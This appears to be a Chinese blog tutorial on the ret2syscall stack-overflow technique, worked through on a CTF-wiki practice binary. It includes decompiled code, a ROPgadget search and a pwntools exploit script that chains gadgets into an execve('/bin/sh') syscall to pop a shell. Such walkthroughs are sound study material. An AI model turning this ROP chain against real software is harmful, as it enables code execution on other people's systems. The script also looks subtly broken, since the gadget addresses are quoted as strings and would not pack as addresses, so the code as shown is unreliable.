author:bilala
0x00 前言
ret2syscall中接触到了gadget,学过web的都不陌生了,就是一条利用链,不了解的可以自行搜索。
0x01 ret2syscall原理
关于系统调用已经在上篇中有介绍了,并且经过上两篇的学习,我们已经知道栈溢出可以从子函数覆盖到父函数处的栈帧,之前两篇都是只覆盖到ret返回地址为止,实际上我们可以继续往上覆盖,从而实现gadgets控制,借用狼组里的图,算是画的很清楚了
0x02 例题分析
这里要补充一点,在
二进制基础学习②
中,我们使用的是execve('/bin/sh', ['/bin/sh', NULL], NULL)
,实际上execve('/bin/sh',NULL,NULL)
就可以调用到shell了,自己可以改当时的shell.asm然后重新编译就知道了。
例题使用的还是wiki中的,先查看保护
就开了个NX,不影响我们栈溢出,查看程序main逻辑
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+1Ch] [ebp-64h] BYREF
((void (__cdecl *)(void *, _DWORD, int, _DWORD))setvbuf)(stdout, 0, 2, 0);
((void (__cdecl *)(void *, _DWORD, int, _DWORD))setvbuf)(stdin, 0, 1, 0);
((void (__cdecl *)(const char *))puts)("This time, no system() and NO SHELLCODE!!!");
((void (__cdecl *)(const char *))puts)("What do you plan to do?");
((void (__cdecl *)(int *))gets)(&v4);
return 0;
}
也是一个经典的gets()函数,在刚刚的原理图中,我们知道ret返回地址处需要填入pop eax
的地址,并且在pop eax后还得有一个ret指令回到栈帧继续执行,这里可以利用ROPgadget
工具
ROPgadget --binary ret2syscall --only 'pop|ret' | grep eax
这里的第二个0x080bb196
很适合我们的需求,接下来继续寻找pop ebx
的
在箭头所指处,正好还有我们接下来需要的pop ecx
pop edx
剩下我们还需要/bin/sh
字符串的地址
最后还需要int 0x80
软中断指令
有了以上所有信息后,即可编写exp(栈溢出的偏移量和之前一样的计算方法)
from pwn import *
sh = process('./ret2syscall')
binsh_addr = "0x080be408"
int_addr = "0x08049421"
pop_ebcdx_addr = "0x0806eb90"
pop_eax_addr = "0x080bb196"
payload = flat(['a'*112 , pop_eax_addr , 0xb , pop_ebcdx_addr , 0, 0, binsh_addr, int_addr])
sh.send(payload)
sh.interactive()
pwntools中的flat函数可以让我们省去
b''
和p32
等操作
0x03 结语
这部分主要就是链式调用,其实前两篇都懂的话这篇很轻松,尤其0x01中的图诠释的很清楚了,这里也不多介绍了
Comments | NOTHING